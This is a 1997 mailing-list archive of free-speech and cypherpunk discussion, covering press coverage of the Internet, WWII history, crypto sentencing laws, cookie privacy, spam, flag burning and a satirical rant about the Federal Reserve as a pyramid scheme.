                                    Boston, MA, 02107
                     http://members.tripod.com/~krothering/index.html

**********

Date: Fri, 20 Jun 1997 15:18:34 -0500
From: Jon Lebkowsky 
Subject: RE: Internet Knuckle-dragging from the NYTimes

At 03:44 PM 6/20/97 -0400, Hiawatha Bray wrote:
>Awright.  The lurking is over.
>
>What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
>story?  If not, tough luck.
>
>I'm tired of listening to so-called "free speech advocates" going ballistic
>when they don't like what someone has to say.  Every time a journalist
>writes a story about the seamier side of the Net, somebody complains that
>this will give outsiders the wrong idea.  Nonsense.  I think what really
>worries you is that such stories give people the RIGHT idea--that there are
>sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
>are.  And as long as there are, journalists will write about the fact.
> Don't like it?  Too bad.  Deal with it.
>

You missed the point. We all know that there are sex fiends, dope smokers,
and would-be Unabombers in this world, on the net and elsewhere. What we're
saying is that they have free speech rights, just like you. This isn't
about blowing people up. This isn't about molesting children. This isn't
about doing drugs. You don't *do* any of those things online.  But you may
talk about them.  This is about SPEECH.

***********

Date: Fri, 20 Jun 1997 13:28:27 -0800
To: Hiawatha Bray , 
From: "--Todd Lappin-->" 

At 11:44 AM -0800 6/20/97, Hiawatha

>What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
>story?  If not, tough luck.
>
>I'm tired of listening to so-called "free speech advocates" going ballistic
>when they don't like what someone has to say.  Every time a journalist
>writes a story about the seamier side of the Net, somebody complains that
>this will give outsiders the wrong idea.  Nonsense.  I think what really
>worries you is that such stories give people the RIGHT idea--that there are
>sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
>are.  And as long as there are, journalists will write about the fact.
> Don't like it?  Too bad.  Deal with it.


This is complete and utter bullshit.

I didn't say Wren's article was inaccurate... I said it is a load of
sensationalist crap, laden with half-baked innuendo and unsubstantiated
correlations.

Don't pull the "so-called 'free speech advocate'" horsepucky with me
either.  I'm not calling for censorship of the Times... I'm simply saying
that their story was garbage.  Of course, they have a right to print
garbage... but I also think they have an obligation to recount the facts
accurately, and in proper context.

This article failed to to that.  Instead, it implies that Websites use
cartoons to tempt the young (as if cartoons are only for the young), and
that the availability of drug info online somehow ties in to the fact that
"adolescents' [drug] experimenting is on the rise.

That's both absurd and factually unsubstantiated.

I have no problem discussing the darker side of the Net... I do so
regularly and openly. But I'm fed up with the "Internet Did It" genre of
newspaper reporting.  It's shoddy, and worse, it's dangerous  -- because it
promotes public hysteria through techno-fearmongering.

Deal with it.

--Todd-->

PS: Jon Lebkowsky's last point was excellent.

************

Date: Fri, 20 Jun 1997 13:35:46 -0700 (PDT)
From: baby-X 

On Fri, 20 Jun 1997, Hiawatha Bray wrote:

> I'm tired of listening to so-called "free speech advocates" going ballistic
> when they don't like what someone has to say.  Every time a journalist
> writes a story about the seamier side of the Net, somebody complains that
> this will give outsiders the wrong idea.  Nonsense.  I think what really
> worries you is that such stories give people the RIGHT idea--that there are
> sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
> are.  And as long as there are, journalists will write about the fact.
>  Don't like it?  Too bad.  Deal with it.

Either educate yourself about the fact that what these stories portray as
some virulent epidemic of "bad" information is never anywhere near as severe
as the hysteria said stories try to foster (for example, go spend this
weekend reading all of Jon Katz over at the Netizen), or go back to lurking.

************

Date: Fri, 20 Jun 1997 16:57:49 -0400
From: freematt at coil.com (Matthew Gaylor)

>Awright.  The lurking is over.
>
>What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
>story?  If not, tough luck.
>
>I'm tired of listening to so-called "free speech advocates" going ballistic
>when they don't like what someone has to say.  Every time a journalist
>writes a story about the seamier side of the Net, somebody complains that
>this will give outsiders the wrong idea.  Nonsense.  I think what really
>worries you is that such stories give people the RIGHT idea--that there are
>sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
>are.  And as long as there are, journalists will write about the fact.
> Don't like it?  Too bad.  Deal with it.

Rather than write sensationalist stories on rather rare crimes in tabloid
fashion-  [Not that you are guility of this.]

I'd personally rather see journalists mention that in comparison to kids
swimming, riding a bike, or even playing a game of summer baseball-  The
chances of harm to children surfing the net is infinitesimal.


Regards,  Matt-

********

From: Hiawatha Bray 
To: "Fight-censorship at vorlon.mit.edu" 
Date: Fri, 20 Jun 1997 17:07:08 -0400

Hmmm...how can I put this?  The quality of the responses to my previous
message was, well...lame.

I don't do flame, so I'm trying to be courteous about this.  But folks--you
need to grow up.

********

Date: Fri, 20 Jun 1997 14:05:31 -0700
To: fight-censorship at vorlon.mit.edu
From: Lizard 

At 03:44 PM 6/20/97 -0400, you wrote:
>Awright.  The lurking is over.
>
>What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
>story?  If not, tough luck.
>
If every week, all you saw in the papers were stories of journalists who
beat their wives, jounalists who were arrested on drunk driving charges,
journalists who falsified facts, and journalists who were late on their
child-support payments, would you simply be content to know that all the
stories were accurate? Or would you beging to think that maybe, just maybe,
there was a slant?

What you choose to report on is as important as the accuracy of the report.
What makes this story newsworthy? Why the snide reminder that it's that
darn ol' Free Speech thing that keeps these sites from being shut down? Why
the emphasis on how 'anyone' can post stuff to the net, since there's no
business interest to keep them controlled?

It's 100% pure propaganda, designed to stir up calls for a law to prevent
distributing 'drug information' to minors, what with the pending (we hope
-- well, *I* hope -- you probably don't) collapse of the CDA.

You know it is, too. why are you defending it?

***********

Date: Fri, 20 Jun 1997 14:15:31 -0700 (PDT)
From: baby-X 
To: "Fight-censorship at vorlon.mit.edu" 
Subject: RE: Internet Knuckle-dragging from the NYTimes

On Fri, 20 Jun 1997, Hiawatha Bray wrote:

The following is an example of why we don't hold your opinions to be of very
much worth:

> At no point does Mr. Wren say that Internet use among the young causes
> increased drug abuse.  He merely notes that a communications medium very
> popular with young people is laden with messages that encourage drug use,

Laden? Here is the definition of laden from the Hypertext Webster Gateway:

Definition for Laden from database web1913 (web1913)

   Laden \Lad"en\, p. & a. Loaded; freighted; burdened; as, a laden
   vessel; a laden heart.

Loaded? Freighted? Burdened? It's the use of this sort of hysteria-tinted
language that causes so many problems in establishment media ocverage of
cyberspace.

We know, from use of words like this one, what YOUR bias is in these cases.
We're just trying to keep that bias from infecting too much media coverage.


      baby-X 
  -----------------------------------------------------------------------
      BitBurn Access - CyberPOLIS - Millennium Cafe - Sluggish Canine
  -----------------------------------------------------------------------
                              http://www.millennium-cafe.com/~baby-x/


*************

Date: Fri, 20 Jun 1997 17:19:19 -0400 (EDT)
From: Rebecca Daugherty 
To: Hiawatha Bray 

I think it's at least philosophically inaccurate to blame the net for the
action.  It's like killing the messenger, cursing the pen.  And it's too
sure 'n easy a spin  -- bad ole technology has done this too us.  um.um.um.

There are changes to note -- there are new kinds of technologically
proficient pedophiles and they merit some ink so they can be combatted. But
the net is the same old net and a benign one with no seamy side at all in
my thinking.

--------------------------------------------------------------------------
Rebecca Daugherty 
Director, FOI Service Center, Reporters Committee for Freedom of the Press
Visit our web site for media law information: http://www.rcfp.org/rcfp/

**************

Subject: Re: Internet Knuckle-dragging from the NYTimes
Date: Fri, 20 Jun 1997 18:07:19 -0400
From: Thomas Grant Edwards 

In fairness, I don't see many stories in the media about guns except
in consideration of their use for murder or suicide.  Infact, the Net
gets off much easier than guns!

-Thomas

**************

Date: Fri, 20 Jun 1997 15:54:47 -0700
To: Hiawatha Bray 
From: Lizard 
Subject: RE: Internet Knuckle-dragging from the NYTimes
Cc: fight-censorship at vorlon.mit.edu

At 06:22 PM 6/20/97 -0400, Hiawatha Bray wrote:
>I gotta admit, I find your reply irresistible!   Much too much fun to argue
>with.  Okay.  You win.  You get to be Lizard.
>
>But you're still talking nonsense about the Times story.  Just because it
>makes you nervous to read nastiness about the Net, doesn't make it wrong
>for journalists to write the truth.  Besides, have you ever kept count of
>how many pro-Net stories there are?  If anything, we reporters have been
>guilty of shamelessly hyping the Internet.  I could probably show you 10
>positive stories about the Internet for every negative one.  Trust me--I
>end up reading nearly all of them...it's the cross I must bear!
>
Very few 'pro internet' stories deal with the REAL benefits of the Internet
-- the breakup of the media monopoly, the 'everyone is a reader, everyone
is a writer' concept, the building of communities of interest rather than
coincidence. We all know about children meeting Evil Predators on the net
-- why not stories about children meeting mentors, teachers, or counselors?
Rather than "My wife left me for her cyberlover!", why not "I met my wife
thanks to our shared interest in barbed-wire collecting"?

Let's look at that drug story. Why not write it like this?
====================================================
"After decades of getting only one side of the story from teachers,
government, and a lapdog media, teenagers are now able to easily access
both pro- and anti- drug information on the Internet, and chat with each
other about their drug experiences in secure anonymity, permitting them to
make up their own minds on this complex issue.

Because Internet access is so inexpensive, people do not need the support
of advertisers or subscribers to post any information they wish -- so views
outside the mainstream, which would never be aired in traditional forums,
can reach anyone with a modem, anywhere in the world. Further, the
interactive nature of the net makes it easy for people on all sides of a
debate to fire off points and counterpoints, so that the audience (who can
become participants at will) can make up their own minds, ask questions,
and raise issues that neither side might choose to raise on their own.

"It's wonderful for kids", says Mr. Fictional, teacher at Utopia Public
School. "We don't want them to 'Say No to Drugs' out of fear or ignorance,
but out of a reasoned understanding of the harm drugs can do to them -- and
that means they need to get the facts, not a lot of scare tactics. The
government would never let us teach the 'straight dope', if you will, but
we can turn kids on to the net and let them learn for themselves."
====================================================

There. There's all the "facts" -- but a very different spin, no?

************

Date: Fri, 20 Jun 1997 16:53:29 -0500
From: Jon Lebkowsky 
Subject: RE: Internet Knuckle-dragging from the NYTimes

>Very nice.  But so what?  Mr. Wren simply reported what's going on.  He
>never called for censorship of the Internet.  Were you reading the same
>article I was, or what?

Yeah, the article that said "partly owing to free-speech
protection, the Internet lacks a quality control mechanism to separate fact
from hyperbole or from  outright falsehood."

While not exactly a call for censorship, this is certainly dismissive of
free speech.

************



--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo at vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/






From ravage at ssz.com  Tue Jun 24 19:38:16 1997
From: ravage at ssz.com (Jim Choate)
Date: Wed, 25 Jun 1997 10:38:16 +0800
Subject: Japan & bombing the US (fwd)
Message-ID: <199706250209.VAA28146@einstein.ssz.com>



Forwarded message:

> Date: Tue, 24 Jun 1997 18:20:17 -0700
> From: Tim May 
> Subject: Re: Japan & bombing the US

> No, this is incorrectly paraphrasing what I wrote. What I said, very
> precisely, was "as there has been no credible threat of attack or invasion
> of the states in America in at least 170 years." I was careful to say
> "states in America."

Distinction noted. I suppose the fact that American laws govern these areas,
and they pay taxes, and can be drafted into our military, get citizenship at
birth, etc. are totaly and completely irrelevant and completely unrelated to
issues such as these. Thinking like yours is why McArthur got such support
when he promised to return to the Phillipines when even his bosses were ready
to write it off. It's why the Japanese have such a high regard for him
respecting his tenure as military dictator of Japan during their rebuild.
If you haven't read it you might consider reading his biography American
Ceaser for its insight into the politics of these two periods.

> And I also limited my comments to the events leading up to wars...my
> context was clear: that had the U.S. not chosen to enter wars, no states
> would have been attacked even later. That the U.S. has entered wars and had
> states attacked hardly disputes my point.

The US didn't choose to enter the war however, that is the issue not your
nit-picking over some irrelevant boundary distinction.

One thing is clear to anyone who lived in that period as an adult or studies
it carefuly, the distinctions that Tim is claiming to be relevant were not
important to the people living at the time. When it came to shooting
'Americans' (not Americans in a state, or not on vacation, etc. noise) it
was the shooting of Americans that was at issue and not whether Alaska or
Hawaii really would become a state in 1959. It is not reasonable to expect
the United States of America could have 'sat out' the war. It was and is
clear that American MUST enter the war at some point. The British were down 
to their last $750M in a S. African bank that went walkaround on an American
transport to pay outstanding bills. Because of the economic and social ties
between American and Britian any thesis claiming America could (let alone
should) have remained neutral is pure meta-history. Consider the
unrestricted German submarine warfare occuring as close as 30 miles from
the Eastern seaboard. How long would people put up with bodies washing up
on their beaches regularly? What would have been the impact of doing
business with Europe under the German helm in the US (which couldn't exist
at anything close to todays tech/social level without strong economic
markets)? The Germans and Russians managed to arrive at a commen goal in the
invasion of Poland. Without the drain of the African and Cicilian campaigns
(which required the support of the US on a military footing to succeed) it
is just possible that Russia could sue for peace with Germany causing at
least a temporary breathing spell for the marshalling of forces. It is also
clear at this point that Germany had a much larger technology lead over the
Russians (research where the tubes for Russian radios came from) and such
weapons as the ME-262, V1, V2, etc. Under this light it is clear that
given a breathing space Germany allied with Japan (assuming the successful
invasion of Australia, with no Britian and no US how long would they last?)
would pose a real threat to the US, including the direct assault on the
continental US. If we can do it in Europe and Africa what in the world makes
you think somebody else can't do it? Without US intervention in the war
Italy would own Africa now.

Those folks were predators, they didn't back down. The Japanese would have
gone for the west coast. The Russians would look at the Alaskan peninsula
(bought from Russia in the 1800's) and lick their chops. The South American
continent would have been Germanic/Japanese without US intervention. The 
influx of Germans into Argentina and Japanese to Peru started in the 20's
and not the 50's. Germany was building a bomber to hit New York and long
range fast transport subs, their intent was clear.

Why the United States entered WWII can't be attributed to ANY single
simplistic thesis such as this. It is also clear that the Japanese and
German decision making processes were not motived this simply either.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


ps legaly US military bases are US soil in the same class as DC, clearly
   a part of the United States. An attack upon such is treated legaly
   as an attack upon one of the 48 states.






From ravage at ssz.com  Tue Jun 24 20:12:07 1997
From: ravage at ssz.com (Jim Choate)
Date: Wed, 25 Jun 1997 11:12:07 +0800
Subject: The Grand Compromise is Coming (fwd)
Message-ID: <199706250228.VAA28187@einstein.ssz.com>



Forwarded message:

> Date: Tue, 24 Jun 1997 20:56:33 -0500 (CDT)
> From: Mac Norton 
> Subject: Re: The Grand Compromise is Coming

> OK, Tim, I'll try:
> The use of communication in furtherance of a crime shall add five years .
> . .etc.
> 
> The use of any device to enhance the speed of communication in furtherance
> of a crime shall . . . etc.
> 
> The use of any device to disguise a voice in furtherance of  . . . etc.
> 
> The use of any cryptographic means of communication in furtherance . . .
> 
> Now, if two and three above are constitutional, why aren't one and four?

The use of any printing press in the ....

The use of speech in the ...

Per the 1st, 9th & 10th;

"The use of  in the ...." is un-Constitutional.

Now, I can see committing a crime using some facility or special skill might
exacerbate the verdict, is that the intent? We could just do away with the
preamble and go with exacerbating the verdict if a special skill or facility
is required.

If nothing else it eliminates any pretense of spontinaity, in effect
pre-meditation or aggravation. From that perspective I don't see a
Constitutional issue except regarding the punishment phase.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From lzirko at aye.net  Tue Jun 24 20:35:08 1997
From: lzirko at aye.net (Lou Zirko)
Date: Wed, 25 Jun 1997 11:35:08 +0800
Subject: Freeware Helps Keep Your Cruising Confidential
Message-ID: <3.0.2.32.19970624232929.0097db80@aye.net>



I thought I would pass this along.  Just downloaded it and am looking at
it.  Interesting application for Win 95/NT users.  The download page
starts at http://www.luckman.com/anoncookie/anoncookie.html

Lou Zirko

>Freeware Helps Keep Your Cruising Confidential 
>
>
>
>by Brian McWilliams, PC World NewsRadio 
>
>June 24, 1997
>Concerns about Internet privacy are running hot since the recent privacy
>hearings sponsored by the Federal Trade Commission. New laws as well as
>technology standards may soon come to the assistance of Net users. In the
>meantime, a California company is releasing a freeware tool to help users
>gain some control over their online privacy.
>
>Luckman Interactive today posted a utility for Windows 95 and NT called
>Luckman's Anonymous Cookie for Internet Privacy.
>
>According to chief technology officer Marco Papa, the beta software works
>with browsers from Microsoft and Netscape. It installs in your Win 95
>system tray and enables you to switch in and out of "anonymizer mode,"
>that is, controlling whether or not a Web site can write to and read your
>browser's cookie file. This file is used by some sites to personalize
>their content and in some cases to track your activities online.
>
>"We save all your cookie files and replace them with either an empty
>folder or a file that can't be overwritten," explains Papa. "When you turn
>cookies back on, you actually replace whatever may have changed with your
>original cookie files."
>
>Luckman's Anonymous Cookie program is actually technology that was
>developed for the company's WebSweep utility, which is scheduled for
>commercial release later this summer. But Papa says the firm decided to
>pull the cookie piece out now to give users some much-needed control over
>online privacy.
>
>Dierdre Mulligan of the Center for Democracy and Technology says cookie
>files are at the heart of many privacy problems on the Net. Her group is
>especially critical of companies like DoubleClick, which she says violates
>the spirit of the cookie concept by passing user information on to third
>parties. She welcomes tools like Luckman's, but she notes that add-ons
>don't help protect the millions of less experienced Net users.
>
>"If you really want people to have an easy-to-use way to protect
>information or to control what their kids are going to see on the Net,
>build it into the browser. Everybody has one, and they don't have to go
>buy an extra program or figure out how to install it," Mulligan said.
>
>Brent Luckman, chairman of Luckman Interactive, said that's a great idea,
>but he doesn't see much impetus for browser makers to give up access to
>valuable marketing information.
>
>If you're a privacy guerrilla, you can grab your free copy of the
>Anonymous Cookie program from Luckman's Web site.
>
>
Lou Zirko

Key fingerprint =46 F8 6A 89 F1 4A 74 AB  2F 60 21 E3 FB 21 E4 E4
"Were all bozos on this bus", Nick Danger, Third Eye






From omegam at cmq.com  Tue Jun 24 21:02:15 1997
From: omegam at cmq.com (Omegaman)
Date: Wed, 25 Jun 1997 12:02:15 +0800
Subject: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <199706250345.WAA19792@jolietjake.com>



"Philip A. Mongelluzzo"  writes:

> How do we deal with child pornography and free speech in such a way
> as to allow both to exist and insure our children are not exposed to
> pornographic material until they are at a maturity level where they
> can deal with it?

As a parent, that's _your_ problem.  If you really believe that the
Internet is the great source of unfettered "pornography" that your
child will encounter before he/she/it "are at a maturity level where
they can deal with it", I have some swampland to sell you in Alaska.

Take your kid out of school now.  Make sure he/she/it has no contact
with other children or the outside world.

Unless they're infants, your kids are dealing with it NOW.

Stop kidding yourself.  

Honestly, Phillip, I don't envy your position, but I think you need to
rethink your perspective.   Start by assuming that your kids will be
exposed to adult issues _long_ before they've reached what you
consider the appropriate maturity level.

>  If pornography is the enemy of crypto then that is enemy that must
> be fought.  

????

> A battle that must be won without killing the enemy to
> insure continued free speech.  Quite a challenge I think.  Now, do
> you have any idea how to do that? 

I think that you're on the wrong list.


--
---------------------------------------------------------------------
Omegaman |"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------






From nicol at highway1.com.au  Tue Jun 24 21:17:13 1997
From: nicol at highway1.com.au (Peter Nicol - VRL / BroomStick Productions)
Date: Wed, 25 Jun 1997 12:17:13 +0800
Subject: Flag Burning...
In-Reply-To: <199706131352.GAA06683@toad.com>
Message-ID: <199706250400.MAA29802@hedgehog.highway1.com.au>



> From:          "Peter Trei" 
> Organization:  Process Software
> To:            panther at writeme.com, cypherpunks at toad.com
> Date:          Fri, 13 Jun 1997 09:52:50 -6
> Subject:       Re: Flag Burning...
> Reply-to:      trei at process.com
> Cc:            trei at process.com
> Priority:      normal

> "RS" writes:
> 
> I'm curious as to why you feel the need to conceal your identity.
> 
> > When it comes down to flag burning, It really bothers me that we allow our
> > symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> > symbol of the freedom we have.  To allow someone to publicly burn a flag is
> > essentially displaying our freedom being burned.
> 
> It's a symbol, not the thing symbolized. You are confusing the map 
> with the country. 
> 
> Burning the flag is a statement by the burner that they feel that the
> symbol has become empty, and the freedom which the flag symbolizes is
> gone or has been compromised in some manner. It's clearly a form of
> political speech. True, It's a very strong statement, but strong 
> political speech has been protected by the Constitution (at least up till 
> now).
>  
> > Bush was a veteran, and Clinton was not.  I take it the ones who are
> > writing on this subject about how we should have the "freedom" to burn the
> > flag have never served in the military or for our country.   
> 
> You are mistaken - some of the people opposing your viewpoint have 
> stated that they are veterans.
> 
> > Being a veteran myself, I find it very distateful to allow anyone on our
> > soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
> > for a moment and what it really stands for.  Does it not stand for freedom
> > and liberty?
> 
> It does *stand* for freedom and liberty, but only as long those 
> values really exist. It *is* *not* freedom and libery in it's own
> right.
>  
> When what the flag symbolizes is gone, it becomes just a piece of 
> cloth. Burning this cloth draws attention to the loss. It is a dramatic
> statement, but under certain circumstances an appropriate one.
>  
> > Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
> > burn the flag unless you would like to live under another flag!
> 
> Thank you for your opinion. You are of course free to express it. And 
> I, and other thoughtful, freedom-loving Americans can oppose it.
> 
> Think about this:
> 
> Would you rather people did not burn the flag because:
> 
> 1. They'll be thrown in the slammer if they do.
> 2. The revere the values for which it stands, and will not descrate a
>    meaningful symbol of these values.
> 
> In (2), we can look at the (very rare) individuals who *do* burn the
> flag, and determine for ourselves if they have a valid point to 
> convey.  
> 
> In (1), we'll never know.
> 
> For Congress to deny the freedom to burn the flag is a desecration of what
> the flag stands for - a descration of the flag by the government itself.
> 

You Crazy Americans . . . I dont think anyone else in the world would 
give a fuck someone burnt their countries flag, certainly not in 
Australia.  What is it about your country?

My friend is a New Zealander.  When she was in school for a short 
while in America, she was beaten up for not reciting the "Pledge of 
Allegiance" in class everymorning.

Pete Nicol
Global Media Magnet
nicol at iap.net.au



BroomStick Productions
VRL - the Virtual Record Label
(+61 9) 335 9490   fax (+61 9) 335 9508
nicol at iap.net.au
broomstick at occtech.com.au

Current Project: www.iinet.com.au/~ratty/legends






From omegam at cmq.com  Tue Jun 24 21:24:39 1997
From: omegam at cmq.com (Omegaman)
Date: Wed, 25 Jun 1997 12:24:39 +0800
Subject: The spam thread
In-Reply-To: 
Message-ID: <199706250407.XAA19821@jolietjake.com>



Jason William RENNIE  writes:

> 1. What about my rights to privacy, and my rights to my mailbox that I 
> pay for. Why should it be used as an advertising medium if i font want it 
> to be used for one ??
> 

http://www.ii.com/internet/robots/

Go there.  Learn about mail-filtering.  

Do a /Altavista|Hotbot|Yahoo|etc./ web search on "spam solutions."
Find one that suits your taste.

If you don't like it, fix it yourself.  Don't whine to the list about
receiving spam.  If you're on the net, you receive spam.  Some of us,
however, rarely have to see it.

If you want to discuss a crypto-relevant topic with implications for
the spam issue, search for and read up on "digital postage."

Do something to protect your own privacy before you run about
screeching about your "rights" to it.

Welcome to Cypherpunks.

me

-- 
---------------------------------------------------------------------
Omegaman |"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------






From declan at well.com  Tue Jun 24 21:43:45 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 25 Jun 1997 12:43:45 +0800
Subject: Comparing Cryptographic Key Sizes II
In-Reply-To: <199706242233.XAA00222@server.test.net>
Message-ID: 



At 23:33 +0100 6/24/97, Adam Back wrote:
>I don't think we can explain it any more technically and expect it to
>be useful to a journalist.

Um, some of us journalists have *gasp* taken computer science classes,
programmed in machine code, crafted compression routines, written our own
Unix shells, etc.

Now, I don't want to start a "who's the geekiest geek" contest, since y'all
will win hands-down -- but I want to point out that while we may not be
crypto-whizzes, not all of us are entirely clueless either.

-Declan







From vznuri at netcom.com  Tue Jun 24 21:57:19 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Wed, 25 Jun 1997 12:57:19 +0800
Subject: LOSE MONEY FAST!!
Message-ID: <199706250451.VAA24476@netcom4.netcom.com>




not to encourage any paranoia or conspiracy theory, but 
this is an interesting warning I saw on another mailing list that I thought
I'd pass on---




From: xxxxx
Date: Tue Jun 24 21:49:18 PDT 1997
Subject: LOSE MONEY FAST!!


I am writing this to WARN THE PUBLIC of a very DIABOLICAL SCHEME that
is RIGHT NOW playing out in the market and ingeniously designed to separate 
GULLIBLE INVESTORS from their lawful returns. I cannot now reveal 
exactly the name of the company involved, but I will identify it by the 
initials "FRN". 

FRN directors are involved in a complex STOCK MANIPULATION SCHEME
in which they are selling additional shares of the company beyond
those in circulation, with only the hazy knowledge of the existing
stockholders. This is being done IN COLLUSION WITH GOVERNMENT
REGULATORS, who are receiving kickbacks from the operation! In other words, 
individual investors of FRN believe they own 1/n of the company, when in 
fact there are more shares in existence and they actually own far less than 
the fraction indicated on their certificates!

The additional shares are owned by directors of the company who
are secretly releasing the FRAUDULENT SHARES on the market with PRECISE 
TIMING, such that whenever the legitimate value of the company increases,
they release new shares for sale at the current share price. The
net effect is that market share prices creep up in value only marginally 
while the directors effectively INCREASE THEIR CONTROL of the corporation 
by STEALING FROM SMALLER SHAREHOLDERS. 

Some select shareholders are allowed to participate in the plan if they
increase the profitability of the company, but in their BLIND GREED have 
not done the math and do not realize that they are in effect LOSING MONEY 
even though numerically their supposed shares are compounding regularly! 
In effect the corporation is COUNTERFEITING ITS OWN SHARES under the full 
knowledge and supervision of the topmost echelons, and the general
ignorance of shareholders! This thievery is paid for courtesy of an 
ever-increasing percentage of the company's shareholders without
their awareness! 

In fact, because so many shareholders are participating, the whole
system can be thought of as a massive form of INVISIBLE SLAVERY! 
The energy of the shareholders that is successfully improving the
company is being siphoned off by their "masters", while the masters
insist that the company is not even breaking even!  Perhaps you may scoff, 
but remember, THE PERFECT SLAVE IS THE ONE WHO DOESN'T REALIZE HE'S A 
SLAVE, and an even better one RIDICULES THE POSSIBILITY. And--some 
slaves THINK THEY ARE MASTERS when in fact they are really SLAVES.
(Do you live in a "land of the free"? Are you sure?)

FRN has been operating since 1913 and has sucked in huge masses of
unsuspecting shareholders who do not realize that it is a massive pyramid
scheme that must eventually collapse! Initially the effects were negligible
but the disparities among shareholdings has been magnified exponentially
over the years.  Shareholders have not realized this EVIL TRICK 
because the company has been growing incredibly rapidly
with massive profits that are never reaped by the DESIGNATED
VICTIM SHAREHOLDERS but instead skimmed by the CONSPIRATOR'S ELITE.
A sophisticated and well-funded PR Office of the company has hypnotized
the shareholders into believing their shares are far more valuable than
they really are, even in spite of OBVIOUS SIGNS OF DEPRECIATION!

The grotesque nature of the beast is revealed in that eventually, 
with mathematical certainty, doing absolutely nothing, the SINGLE SHAREHOLDER 
who owned the greatest share at the beginning of this hoax will eventually 
OWN VIRTUALLY THE ENTIRE COMPANY, with all other shareholders owning 
virtually nothing! ("The rich get richer and the poor get poorer"-- with
some of the poorer thinking they are getting richer!) But the system will 
collapse before then after enough shareholders FEEL THE SQUEEZE.

Unfortunately, it is likely the shareholders will only realize they have 
been CHEATED and get ANGRY once the whole snake oil enterprise
CRASHES! At that point, whoever will be left holding the bag will be 
mostly random!  But what about the masters?

Hopefully when the pyramid scheme FINALLY DOES CRASH, the shareholders
will have learned their lesson, and go after those truly responsible 
instead of fighting among themselves, or at the very minimum
STOP INVESTING IN PYRAMID SCHEMES! However, history has suggested 
that the current FRN owners have been using the same strategy in 
many prior shell games and escaped many previous company "bankruptcies" 
with their wealth unscathed, and are right now shrewdly planning their 
escape route by cashing out at precisely the right instant
in their LATEST AND MOST GREATEST SKULLDUGGERY EPISODE as well! 

>From what I have heard, the plan is to then use the proceeds 
to erect the next, EVEN MORE CONSTRICTING WEALTH EXTRACTION 
AND SLAVERY SYSTEM. They have been doing this LIKE CLOCKWORK 
on a schedule of about every 60-70 years, which seems
to be about the limit of the public's memory and the lifespan of
the system. In fact, it has been going on so long the masters
have convinced the population that it's a regular and
unavoidable phenomenon!

I don't know what will happen, but I am sending this warning to
YOU PERSONALLY to check to see if you own shares in FRN, and if
so, SELL THEM IMMEDIATELY and invest your hard-earned money into
some LEGITIMATE ALTERNATIVE that doesn't steal from you merely by
owning it. Also realize that TRADING FRN SHARES, while convenient, is
PLAYING INTO THE SCAM! Quite insidiously, far more people own and
trade shares in FRN than realize it due to indirect ownership!
The MASS DELUSION is everywhere!

Eventually the corruption in the government and greed in the population
will have to be cleaned up so that companies such as FRN can never
begin operating in the first place, and THE TEMPLE IS FOREVER RID OF 
THE MONEYCHANGERS. But your FIRST DEFENSE is your own intelligence. 
Remember, YOU CAN'T CHEAT AN HONEST PERSON!

Part of the moral is to KNOW WHERE ALL THE SHARES ARE and to MAKE SURE 
THEY ADD UP TO 1!  The TREACHEROUS HIGHWAY ROBBERS will invent elaborate,
complicated, INCOMPREHENSIBLE reasons why they don't, such as talking about
what paper the stock certificates are made out of, or how high government 
taxes are, or pointing at programs for share-trading among shareholders. But
remember, this is all SMOKE AND MIRRORS--a certificate that says 1/n is
a CONTRACT no matter what kind of paper it is printed on, the entire 
government recently became ANOTHER LOSING SHAREHOLDER, and the net result
of the share-trades NEVER ESCAPES THE SHARE PARASITES! 

Please don't attack the losing shareholders! If you have problems 
identifying the thieves, remember, THEY'RE THE ONES WHO AUTHORIZED
RELEASE OF THE FRAUDULENT CERTIFICATES in the first place, IN EXCESS OF 
FACE VALUE. And they'll likely be unscathed after the collapse, but keeping
an extremely low profile! (But don't blame the printers! And don't believe 
it if the "authorizers" pretend to be the "printers"!)
 
Take back your power and DEMAND ACCOUNTABILITY, otherwise, you're just 
ANOTHER VICTIM FOR THE CON GAME! 


May God be with you--








From nobody at huge.cajones.com  Tue Jun 24 23:04:46 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 14:04:46 +0800
Subject: Bomb-making instructions....
